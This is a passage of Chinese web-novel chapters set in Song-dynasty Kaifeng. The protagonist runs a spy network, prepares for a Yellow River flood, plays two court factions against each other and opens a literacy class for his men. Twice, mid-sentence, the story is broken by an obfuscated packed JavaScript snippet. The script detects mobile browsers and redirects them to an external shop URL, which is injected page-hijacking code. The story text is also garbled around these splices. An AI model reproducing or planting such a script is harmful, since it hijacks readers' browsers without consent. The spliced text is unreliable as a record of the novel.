“萧哥，粮价涨得厉害。”刘二坐在东厢房里，脸上带着疲惫，“杭州那边，一斗米已经涨到五十五文了。我要是再晚半个月，这三百石要多花五十两银子。” 萧北翊给他倒了一碗茶：“辛苦了。休息几天，然后去一趟郑州和滑州。” 刘二一愣：“去那儿干嘛？” “去看看黄河。顺便，在那边也存点粮。” 刘二不解：“黄河边存粮？那儿又没人。” “马上就会有人了。”萧北翊没有多解释。 刘二虽然不明白，但还是点了头。他已经习惯了萧北翊做一些看似莫名其妙的事。 十月，东京城彻底凉了下来。 甜水巷的槐树落光了叶子，光秃秃的枝丫伸向天空，像一双双枯瘦的手。老孙头的豆腐摊上挂了一层棉帘子，挡风。火锅店的生意火了起来，每天从中午到晚上，客人不断。 萧北翊在店里忙得脚不沾地，但还是每天抽出一个时辰，看阿九汇总的消息简报。简报不用纸写了，改用口头汇报——阿九每天傍晚来东厢房，把当天的重要消息一件一件地说给萧北翊听。萧北翊听完，该记的记在脑子里，该安排的安排下去。 “萧哥，今天有三条重要消息。”阿九坐在他对面，手里没有纸，全靠脑子记。 “说。” “第一条，开封府的马推官最近又查了几个城西的商铺，但没有再来查我们。可能上次真的是例行巡查。” “第二条，王钦若让周德茂来问，上次那份名单的补充信息什么时候能到。我说半个月。” “第三条，”阿九顿了顿，“南姑娘最近在葫芦巷附近出现得越来越频繁。不是监视，更像是——在等人。” 萧北翊的手指顿了一下。 “等人？等谁？” “不知道。但孙驼子说，她每次来，都在巷口站一会儿，然后就走了。不进院子，不找人说话，就是站着。” 萧北翊沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650308|206859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默了一会儿。 “继续盯着。不要惊动她。” 阿九点头，起身走了。 萧北翊一个人坐在东厢房里，看着窗外的月亮。十月的月亮很亮，照得院子里的柿子树像镀了一层银。 南晚枫在等他？ 不对。她那种人，不会等人。她要么直接进来，要么永远不会来。站在巷口等人，不是她的风格。 除非——她不是等人，是在替别人看着这条巷子。替赵衍。或者，替别的什么人。 萧北翊把这个问题暂时放在一边，拿出那个只有自己能看懂的账册，在空白页上画了一行符号。 翻译过来是：“赤羽第十一个月：存粮一千五百石，存银三百两，人员六十二人。黄河沿线开始布局。四川神秘买家仍在追查。南晚枫行踪异常。下一步：等决口。” 他合上账册，吹灭了油灯。 十月初十，萧北翊收到了一份来自郑州的消息。 传消息的是个货郎，姓郑，五十来岁，常年在东京城和郑州之间跑买卖。郑货郎不是赤羽的人，但他跟孙驼子认识，愿意帮忙带话。他告诉萧北翊：黄河水位最近涨得很厉害，滑州段的堤坝有好几处渗水，河防官员正在组织加固。 萧北翊听到这个消息，心里沉了一下。 按照历史记载，大中祥符五年的黄河决口，就在滑州。现在堤坝已经开始渗水了，说明决口不远了。 “郑大哥，谢谢你。”萧北翊从袖子里摸出一块碎银子，塞给郑货郎，“以后有什么消息，还麻烦您带话。” 郑货郎接过银子，笑眯眯地走了。 萧北翊站在火锅店门口，看着远处的天空。天很蓝，万里无云，完全看不出要大难临头的样子。但他知道，灾难不会写在脸上。它会在你最想不到的时候，突然降临。 他转身回了店里，把阿九叫到后厨。 “阿九，从今天起，赤羽的所有人都要做好准备。” “什么准备？” “随时应对乱局的准备。”萧北翊压低声音，“黄河可能要决口了。一旦决口，东京城会涌入大量灾民。到时候，粮价暴涨，治安混乱，瘟疫横行。赤羽要做的事有三件——救人、囤粮、扩人。” 阿九的脸色变了一下，但没有多问。 “萧哥，你说怎么做，我们就怎么做。” 十月中旬，萧北翊做了一件让所有人都看不懂的事——他在城南的仓库里存了一大批粗布和旧衣裳。 赵大锤问他：“萧哥，你存这些破烂干嘛？” 萧北翊说：“救人。” 赵大锤又没听懂，但也没再问。 萧北翊没有解释。他不能解释——总不能说“等黄河决口了，灾民涌进东京城，很多人没衣服穿，到时候这些布和衣裳能救不少人的命”吧？ 有些事，提前说了没人信。等到事情发生了，大家才会明白。 萧北翊愿意做那个“提前准备”的人。不是为了被人感谢，而是因为他知道——在这个时代，任何一点提前的准备，都可能意味着一条命。 十月下旬的一个傍晚，萧北翊正在东厢房里看简报，门被敲响了。 他打开门，南晚枫站在门口。 她穿了一件深青色的短打，头发扎成马尾，腰间别着那把短刀。月光照在她脸上，她的表情看不太清楚，但萧北翊感觉到她今天跟平时不太一样——没那么冷，多了一些说不清道不明的东西。 “南姑娘？”萧北翊让开身子，“进来坐。” 南晚枫没有进来，站在门口看着他。 “萧子翼，赵衍让我告诉你一件事。” “什么事？” “王钦若和丁谓，最近在朝中闹翻了。” 萧北翊的心跳加快了一瞬。 “闹翻了？因为什么？” “为了一个人。一个官职。王钦若想让自己的人上，丁谓也想让自己的人上。两个人争了一个月，谁也不让谁。”南晚枫的语气很平淡，“赵衍说，这可能是你的机会。” 萧北翊沉默了一会儿。 “赵大哥还说了什么？” “他说，赤羽现在手里握着不少消息。这些消息，在这个时候，比平时值钱得多。他说你知道该怎么做。” 南晚枫说完，转身走了。走了几步，忽然停下，头也不回地说了一句：“萧子翼，你小心点。王钦若和丁谓都不是善茬。你帮谁都是错，不帮也是错。” 她走了。 萧北翊站在门口，看着她的背影消失在巷口，把这句话在心里翻来覆去地嚼了几遍。 王钦若和丁谓闹翻了。这是朝堂上的一件大事，对赤羽来说，既是机会，也是危机。机会是——赤羽手里的消息，现在可以卖出更高的价钱。危机是——无论赤羽帮谁，都会得罪另一个。 萧北翊站在月光下，想了很久。 然后他笑了。 他不需要帮任何一方。他只需要把消息同时卖给双方。不是让双方知道对方也买了，而是让双方都觉得，“赤羽是我的人”。 这需要极高的技巧，但萧北翊有。 他转身回了东厢房，拿起笔，在那本只有自己能看懂的账册上，画了一行符号。 翻译过来是：“王钦若与丁谓反目。赤羽的机会来了。两手准备，两边下注。让钱串子去接触丁谓的人。” 他合上账册，吹灭了油灯。 窗外，月亮很圆。 新的棋局，又开始了。 19. 第十九章 扫盲班 大中祥符五年的腊月，东京城冷得滴水成冰。 自从十月里王钦若和丁谓在朝堂上公开撕破脸，东京城的空气就变得跟天气一样冷。街面上看起来还是老样子，卖菜的卖菜，喝酒的喝酒，但萧北翊从赤羽每天汇集的消息里，嗅到了一股不一样的味道——有人在暗中活动，有人在悄悄站队，有人在收拾行李准备跑路。 两边下注的活儿，他干得越来越顺手。给王钦若的消息，比给丁谓的细三分、快两天；给丁谓的消息，比给王钦若的多一些“内幕”，少一些“实证”。两边的中间人都很满意，都觉得赤羽是“自己人”。萧北翊知道这是刀尖上跳舞，但他享受这种感觉。 腊八节那天，萧北翊在火锅店里煮了一大锅腊八粥，请街坊邻居免费吃。老孙头端着一碗粥，蹲在店门口，一边喝一边感叹：“萧子翼，你小子越来越像那么回事了。” 萧北翊笑了笑，没接话。他在想另一件事。 赤羽现在七十三个人，遍布东京城五个片区，汴河沿线还有三个中转站。消息网络越来越密，事情越来越多，但有一个问题一直卡在他喉咙里——识字的人太少。 数来数去，能读会写的只有阿九和钱串子。刘二认识二十几个字，是在边军学的。赵大锤认识七八个，是跟萧北翊学的。孙驼子一个大字不识。其他人，基本是文盲。 这样的配置，在赤羽只有三五十人的时候勉强够用。但现在已经七十多人了，每天从各个片区汇总上来的消息全靠阿九一个人整理，每天要写要记要分类，她累得眼睛都红了。萧北翊自己也搭进去不少时间，有些消息阿九来不及记，他就自己上手。但他要做的事太多了——火锅店、消息买卖、两边下注、囤粮布局、赵衍那边的联络——不能把时间都耗在文书上。 更关键的是，赤羽要想发展壮大，不能永远靠两个人撑着。万一哪天阿九病了，万一哪天钱串子出了事，赤羽的情报网络就得瘫痪。这太危险了。 萧北翊在脑子里过了一遍现代组织管理的知识——一个成熟的组织，必须有足够的中层骨干。这些骨干不一定需要多高的文化水平，但至少要能读、能写、能看懂简单的指令、能记录简单的信息。不然，所有的事情都压在最高层，迟早要出问题。 他决定做一件事——扫盲。 不是随便教几个字，而是系统性地、有目标地、用现代教育的方式，在赤羽内部搞一次“文化普及运动”。 腊月初九，萧北翊把阿九、刘二、钱串子叫到东厢房。 “从明天开始，赤羽要办扫盲班。”他开门见山。 三个人都愣了一下。 阿九最先反应过来：“萧哥，你是说——教弟兄们认字？” “对。不是认几个字，是系统地学。每天学五个字，一个月一百五十个，一年一千八百个。三年下来，赤羽的核心骨干都能读会写。” 刘二皱眉：“子翼，弟兄们都是苦出身，从小没读过书。现在让他们学，怕是坐不住。” “坐不住也要坐。”萧北翊的语气很坚定，“赤羽不能永远靠几个人撑着。万一哪天我和阿九都不在了，赤羽怎么办？靠你们几个文盲？” 刘二被噎了一下，不说话了。 钱串子推了推眼镜：“萧哥，教什么内容？用的是什么字？” “简化字。”萧北翊说，“笔画少，好记好写。繁体字的‘龜’二十多画，简化字‘龟’七画。学起来快得多。” “简化字？从哪来的？” “我自己编的。”萧北翊面不改色，“你们先学，学会了再教别人。赤羽内部用简化字，不对外公开。对外，该用繁体字的场合还是用繁体字。” 钱串子点了点头，没再追问。他已经习惯了萧北翊时不时冒出一些稀奇古怪的东西。 阿九问：“萧哥，用什么教？纸笔太贵了。” “用沙盘。”萧北翊说，“每个人一个沙盘，一根树枝。沙子不花钱，树枝满地都是。写完了抹平，重新写。省钱，省纸，省墨。” 阿九眼睛一亮：“这个办法好。” “还有，”萧北翊从袖子里摸出一张纸，上面画了十个奇怪的符号，“这是数字。0到9，十个符号，学会了，任何数字都能写。记账、传信、标记，比汉字数字方便十倍。” 钱串子接过去看了看，眼珠子都快瞪出来了：“萧哥，这是什么？” “阿拉伯数字。” “阿拉伯？那是哪儿？” “很远的地方。你不用管。学会用就行。” 钱串子将信将疑，但还是把纸收了起来。 萧北翊扫了三人一眼：“扫盲班的事，从明天开始。阿九负责教学，钱串子做助教，刘二负责组织人员。不强迫，但给好处——愿意学的，每月多发二百文工钱。学得好、学得快的，年底额外奖励。不愿意学的，以后不能当片区负责人，不能接触甲等消息，不能参与核心决策。” 阿九笑了：“萧哥，你这是胡萝卜加大棒。” “这叫激励与约束并重。” 腊月初十，赤羽第一期扫盲班在葫芦巷的北屋开课了。 教室很简陋，几张破桌子，几条长凳，一块木板挂在墙上当黑板。木板上用木炭写着五个大字：人、口、手、足、心。旁边写着对应的简化字形和注音——注音不是拼音，是萧北翊用同音汉字标的，“人”旁边写“仁”，“口”旁边写“抠”，“手”旁边写“首”，虽然不准确，但能帮助记忆。 第一期来了二十三个人，比萧北翊预想的要多。赵大锤坐在第一排，面前摆着一个沙盘，手里拿着一根树枝，表情比上刑场还痛苦。 “萧哥，我不想来。” “不想来可以走。但走了，以后城北的负责人就不是你了。” 赵大锤咬了咬牙，拿起树枝，在沙盘上写了一个“人”。 “一撇一捺。撇从左上到右下，捺从左下到右上。两个笔画交叉。写。” 赵大锤写了三遍，第一遍写成了“八”，第二遍写成了“入”，第三遍才有点像“人”。 萧北翊蹲下来，拿起他的树枝，在沙盘上重新写了一个“人”。 “大锤，记住——人是两条腿站着的。撇是左腿，捺是右腿。两条腿分开了，是‘八’，那是八字。两条腿靠拢了，是‘人’。” 赵大锤挠挠头：“萧哥，你能不能画个图？我光看字记不住。” 萧北翊想了想，在黑板旁边画了一个简笔小人，两条腿叉开站着，旁边写了一个“人”字。 赵大锤看了，恍然大悟：“哦——原来‘人’就是人站着的样子！” 旁边的人也跟着明白了。 萧北翊心里记下了这个办法——用图形辅助记忆，比单纯认字快得多。 第一堂课结束，二十三个人都学会了“人”“口”“手”“足”“心”五个字。大多数人写得歪歪扭扭，但至少认出来了。萧北翊不着急，明天继续，后天继续，一个月后自然会好。 萧北翊对扫盲班的设计，不止是教认字那么简单。他有完整的规划： 第一阶段，认字。每天五个字，积少成多。用图形辅助记忆，用沙盘练习书写。一个月考核一次，考核通过的升级，没通过的继续。 第二阶段，读写。认识三百个字以后，开始练习读简单的句子、写简单的便条。教材是萧北翊自己编的——《赤羽日常用语一百句》，内容包括“今天天气好”“城东有情况”“速来”“收到”等实用短语。 第三阶段，应用。能读会写之后，开始参与实际工作。片区负责人写简报、传消息、记账目，全部用简化字和阿拉伯数字。阿九和钱串子负责审核和指导。 第四阶段，进阶。对于学得快、有兴趣的人，萧北翊单独教——数学、地理、兵法基础。这部分不是所有人都学，而是选苗子，为赤羽未来的骨干储备人才。 阿九听完这个规划，沉默了很久。 “萧哥，你这是要办一所学校啊。” “不是学校。是赤羽的‘干部培训班’。”萧北翊说，“一个组织要想做大，光靠几个聪明人不够。得有制度、有体系、有梯队。扫盲班，就是这个体系的第一步。” 扫盲班开了半个月，效果开始显现了。 赵大锤学会了三十个字，能歪歪扭扭地写出“北”“火”“锅”“肉”“菜”这些词了。他对自己写的“肉”字特别不满意，说“萧哥，‘肉’字怎么写才能好看？”萧北翊说：“外面的框写方一点，里面的两个人写小一点。”赵大锤试了几次，还是不太好看，但他不气馁。 刘二在城东忙完，专程赶回来上了两堂课。他以前认识二十几个字，学简化字不难，两堂课下来，他认识的字从二十几个增加到了五十几个。刘二的进步让其他人压力很大。赵大锤说：“刘二哥以前是当兵的，当兵的都能学这么快，我打铁的不能比他差。”萧北翊心想，这逻辑也没错。 钱串子虽然没时间来上课，但他每次回来都会让阿九把当天的字教给他。他底子好，学得快，认识的字从八九百增加到了一千多个。萧北翊给他单独开了小灶——阿拉伯数字。钱串子把阿拉伯数字当宝贝，谁也不告诉，连阿九都保密。 最让萧北翊惊喜的是一个叫阿三的少年。十六七岁，瘦瘦小小，以前在城南讨饭，是孙驼子手下的。他以前一个字都不认识，但学得极快。别人一天五个字都记不住，他能记住八个。萧北翊问他怎么记的，他说：“萧哥你写的字，我照着画。画几遍就记住了。有些字像东西，比如‘口’像个方框，‘山’像三座山。我记住东西的样子，就记住字了。” 萧北翊心里一动。这个少年的观察力和记忆力都不错，是块好材料。他给阿三单独加了任务——每天多学三个字，先学先会，以后当赤羽的“小□□”，帮着教其他人。阿三高兴得跳了起来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿九坐在萧北翊旁边，给他倒了一杯酒。 “萧哥，扫盲班开了半个月，弟兄们进步不小。赵大锤现在能写自己的名字了，虽然写得难看，但能认出来。阿三更厉害，已经认识一百多个字了，比刘二哥还多。” 萧北翊点了点头：“阿三是块料。明年让他当小□□，帮着教新人。” “萧哥，你是不是要把阿三培养成接班人？”阿九半开玩笑地问。 萧北翊摇头：“不是接班人。是第二个识字的人。赤羽不能只靠你和我。万一哪天我不在了，赤羽还得转。” 阿九的筷子顿了一下：“萧哥，你说什么胡话呢。大过年的，别说这种不吉利的话。” 萧北翊笑了笑，端起酒杯喝了一口。 他不是在说胡话。他是在想——赤羽要真正站稳脚跟，不能依赖任何一个人。包括他自己。所以他要让更多的人识字，让更多的人能独当一面。这不仅仅是为了赤羽的发展，也是为了——万一有一天他出事了，赤羽的弟兄们还能活下去。 这是他从现代组织管理学中学到的最重要的一课：一个健康的组织，不依赖英雄，依赖制度。英雄会老、会死、会离开，但制度可以一直运转下去。扫盲班，就是赤羽的第一块制度基石。 除夕夜，萧北翊一个人坐在东厢房里，把那本《孙子兵法》从枕头底下拿出来，翻到父亲的信，又看了一遍。 “待你成年，自有人告诉你真相。” 他今年十六岁，虚岁十七。按照北宋的算法，二十岁成年。还有三年。 三年，足够赤羽的扫盲班把主力骨干全部教会。三年，足够赤羽从几十人发展到几百人。三年，足够他在东京城站稳脚跟，足够他在王钦若和丁谓之间游刃有余，足够他积累起能够跟程无咎抗衡的资本。 窗外，爆竹声噼里啪啦地响起来，东京城的夜空被烟火映得五彩斑斓。阿九在院子里放了一挂鞭炮，赵大锤捂着耳朵躲在门后面，被阿九拽了出来。刘二站在柿子树下，手里端着一杯酒，不知道在想什么。钱串子在后厨算账，嘴里念念有词，用的全是阿拉伯数字。孙驼子蹲在墙角抽旱烟，烟雾在月光下袅袅升起。 萧北翊站在窗前，看着这一切，从袖子里摸出那个只有自己能看懂的账册，在空白页上画了一行符号。 翻译过来是：“大中祥符六年，正月初一。赤羽人数七十三。扫盲班已开课二十一天。识字人数——能读会写的五人，能写自己名字的二十三人，正在学的三十一人。明年底目标：所有片区负责人都能独立阅读和书写简单文书。阿三列入重点培养名单，拟任下一期小□□。” 他合上账册，吹灭了油灯。 窗外，烟花散尽，爆竹声渐息。 新的一年，开始了。